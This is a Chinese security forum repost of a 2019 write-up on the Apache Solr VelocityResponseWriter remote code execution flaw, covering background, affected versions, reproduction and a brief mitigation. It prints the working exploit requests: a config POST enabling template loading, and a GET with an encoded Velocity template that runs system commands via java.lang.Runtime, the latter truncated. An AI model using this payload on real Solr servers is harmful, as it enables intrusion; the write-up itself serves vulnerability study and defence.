搜索

[95] 2019-11-24_简谈I今天传爆网安圈的ApacheSolrVelocity远程代码执行漏洞

文档创建者：s7ckTeam
浏览次数：58
最后更新：2025-01-15
2019-11-24_简谈I今天传爆网安圈的ApacheSolrVelocity远程代码执行漏洞 简 谈 I 今 天 传 爆 网 安 圈 的 A p a c h e   S o l r   V e l o c i t y 远 程 代 码 执 行 漏 洞 A d m i n   T e a m   2 0 1 9 - 1 1 - 2 4 以 下 文 章 来 源 于 黑 白 天   ， 作 者 李 国 聪 0 x 0 0 - A p a c h e   S o l r   简 介 简 介 A p a c h e   S o l r   是 A p a c h e   L u c e n e 项 目 的 开 源 企 业 搜 索 平 台 。 其 主 要 功 能 包 括 全 文 检 索 、 命 中 标 示 、 分 面 搜 索 、 动 态 聚 类 、 数 据 库 集 成 ， 以 及 富 文 本 （ 如 W o r d 、 P D F ） 的 处 理 。 S o l r 是 高 度 可 扩 展 的 ， 并 提 供 了 分 布 式 搜 索 和 索 引 复 制 。 S o l r 是 最 流 行 的 企 业 级 搜 索 引 擎 ， S o l r   4 还 增 加 了 N o S Q L 支 持 ， 还 支 持 R E S T 风 格 A P I 。 支 持 强 大 的 匹 配 能 力 ， 如 短 语 ， 通 配 符 ， 连 接 ， 分 组 和 更 多 不 同 的 数 据 类 型 。 S o l r 是 用 J a v a 编 写 、 运 行 在 S e r v l e t 容 器 （ 如 A p a c h e   T o m c a t 或 J e t t y ） 的 一 个 独 立 的 全 文 搜 索 服 务 器 。 S o l r 采 用 了 L u c e n e   J a v a 搜 索 库 为 核 心 的 全 文 索 引 和 搜 索 ， 并 具 有 类 似 R E S T 的 H T T P / X M L 和 J S O N 的 A P I 。 S o l r 强 大 的 外 部 配 置 功 能 使 得 无 需 进 行 J a v a 编 码 ， 便 可 对 其 进 行 调 整 以 适 应 多 种 类 型 的 应 用 程 序 。 0 x 0 1 - 漏 洞 简 介 漏 洞 简 介 A p a c h e   S o l r   默 认 集 成   V e l o c i t y R e s p o n s e W r i t e r   插 件 ， 该 插 件 初 始 化 参 数 中 的   p a r a m s . r e s o u r c e . l o a d e r . e n a b l e d   用 来 控 制 是 否 允 许 参 数 资 源 加 载 器 在   S o l r   请 求 参 数 中 指 定 模 版 ， 默 认 设 置 是   f a l s e 。 披 露 目 期 ： 2 0 1 9 1 0 3 0 1 0 月 3 0 日 ， @ _ S 0 0 p Y 公 开 了 A p a c h e   S o l r   远 程 代 码 执 行 漏 洞 的 利 用 方 式 ， 攻 击 者 可 通 过 V e l o c i t y 模 板 实 现 远 程 代 码 执 行 。 经 测 试 ， 该 漏 洞 可 以 成 功 触 发 ， 且 官 方 未 发 布 安 全 补 丁 。 0 x 0 2 影 响 范 围 影 响 范 围 高 ！ 高 ！ 攻 击 者 利 用 此 漏 洞 ， 可 造 成 远 程 代 码 执 行 。 攻 击 者 利 用 此 漏 洞 ， 可 造 成 远 程 代 码 执 行 。 A p a c h e   S o l r   ( 未 完 全 测 试 ， 但 包 括 不 限 于 8 . 2 . 0 和 7 . 7 . 2 版 本 ) 。 目 前 官 网 并 没 有 任 何 公 告 和 漏 洞 补 丁 。 S o l r 安 全 公 告 发 布 参 考 ： h t t p s : / / c w i k i . a p a c h e . o r g / 0 x 0 3 - 漏 洞 详 情 漏 洞 详 情 在 S o l r 在 ， 可 以 以 多 种 方 式 返 回 结 果 ， 作 为 一 个 简 单 的 文 字 回 复 （ X M L 、 J S O N 、 C S V 等 待 ） ， 能 够 返 回 v e l o c i t y ， j s 等 格 式 。 而 V e l o c i t y R e s p o n s e W r i t e r 就 是 用 于 将 返 回 v e l o c i t y 类 型 文 本 ， 以 便 直 接 用 于 结 果 呈 现 。 恶 意 攻 击 者 可 通 过 向 / 节 点 名 称 / c o n f i g 发 送 P O S T 请 求 修 改 配 置 项 ， 从 而 更 改 将 “ p a r a m s . r e s o u r c e . l o a d e r . e n a b l e d ” 设 置 为 t r u e ， 通 过 再 发 送 攻 击 数 据 包 ， 就 会 触 发 远 程 代 码 执 行 的 漏 洞 。 并 且 有 回 显 。 0 x 0 4 - 漏 洞 利 用 漏 洞 利 用 环 境 准 备   基 于 g i t h u b . c o m 上 的 e x p ， 使 用 T i m e l i n e   S e c 公 众 号 公 众 号 提 供 的 测 试 环 境 。 黑 白 天 黑 白 天   . 研 究 学 习 一 切 网 络 安 全 相 关 的 技 术
利 用 前 提 ： 攻 击 者 需 要 知 道 S o l r 服 务 中 C o r e 的 名 称 才 能 执 行 攻 击 。 直 接 用 g i t h u b . c o m 公 开 的 e x p 构 造 p o s t 请 求 。 R e q u e s t : = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = P O S T   / s o l r / t e s t / c o n f i g   H T T P / 1 . 1 H o s t :   s o l r : 8 9 8 3 C o n t e n t - T y p e :   a p p l i c a t i o n / j s o n C o n t e n t - L e n g t h :   2 5 9 {     " u p d a t e - q u e r y r e s p o n s e w r i t e r " :   {         " s t a r t u p " :   " l a z y " ,         " n a m e " :   " v e l o c i t y " ,         " c l a s s " :   " s o l r . V e l o c i t y R e s p o n s e W r i t e r " ,         " t e m p l a t e . b a s e . d i r " :   " " ,         " s o l r . r e s o u r c e . l o a d e r . e n a b l e d " :   " t r u e " ,         " p a r a m s . r e s o u r c e . l o a d e r . e n a b l e d " :   " t r u e "     } } = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
然 后 构 造 个 G e t 请 求 ， 这 里 用 的 是 公 开 的 e x p 发 送 请 求 。 成 功 复 现 该 漏 洞 。 = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = R C E   v i a   v e l o c i t y   t e m p l a t e R e q u e s t : = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = G E T   / s o l r / t e s t / s e l e c t ? q = 1 & & w t = v e l o c i t y & v . t e m p l a t e = c u s t o m & v . t e m p l a t e . c u s t o m = % 2 3 s e t ( $ x = % 2 7 % 2 7 ) + % 2 3 s e t ( $ r t = $ x . c l a s s . f o r N a m e ( % 2 7 j a v a . l a n g . R u n t i m e % 2 7 ) ) + % 2 3 s e t ( $ c h r = $ x . c l a s s . f o r N a m e ( % 2 7 j a v a . l a n g . C h a r a c t e r % 2 7 ) ) + % 2 3 s e t ( $ s t r = $ x . c l a s s . f o r N a m e ( % 2 7 j a v a . l a n g . S t r i n g % 2 7 ) ) + % 2 3 s e t ( $ e x = $ r t . g e t R u n t i m e ( ) . e x e c ( % 2 7 i d % 2 7 ) ) + $ e x . w a i t F o r ( ) + % 2 3 s e t ( $ o u t = $ e x . g e t I n p u t S t r e a m ( ) ) + % 2 3 f o r e a c h ( $ i + i n + [ H o s t :   l o c a l h o s t : 8 9 8 3 = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
0 x 0 5   修 复 方 案 修 复 方 案 官 方 暂 未 做 出 修 复 方 案 。 对 s o l r 目 录 进 行 访 问 限 制 。 相 关 阅 读 相 关 阅 读 社 区 最 强 大 的 安 全 检 测 工 具 社 区 最 强 大 的 安 全 检 测 工 具 - x r a y 3 9 元 , E S P - 8 2 6 6 模 块 做 一 个 便 携 式 w i f i 杀 手 渗 透 局 域 网 ， 钓 鱼 测 试 最 后 感 谢 最 后 感 谢 T i m e l i n e   S e c 公 众 号 提 供 的 测 试 环 境 公 众 号 提 供 的 测 试 环 境 安 全 圈 必 备 公 众 号 之 一 安 全 圈 必 备 公 众 号 之 一 专 注 于 最 新 最 详 细 的 漏 洞 复 现 专 注 于 最 新 最 详 细 的 漏 洞 复 现 内 含 漏 洞 时 间 线 工 具 靶 场 等 干 货 内 含 漏 洞 时 间 线 工 具 靶 场 等 干 货 记 录 每 一 个 漏 洞 ， 捕 捉 安 全 的 每 一 瞬 间 记 录 每 一 个 漏 洞 ， 捕 捉 安 全 的 每 一 瞬 间 欢 迎 关 注 欢 迎 关 注   当 然 还 有 我 的 瞎 鸡 巴 写 的 黑 白 天 公 众 号 当 然 还 有 我 的 瞎 鸡 巴 写 的 黑 白 天 公 众 号
            部 分 资 料 来 源   御 见 威 胁 情 报 中 心 安 恒 应 急 响 应 中 心
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理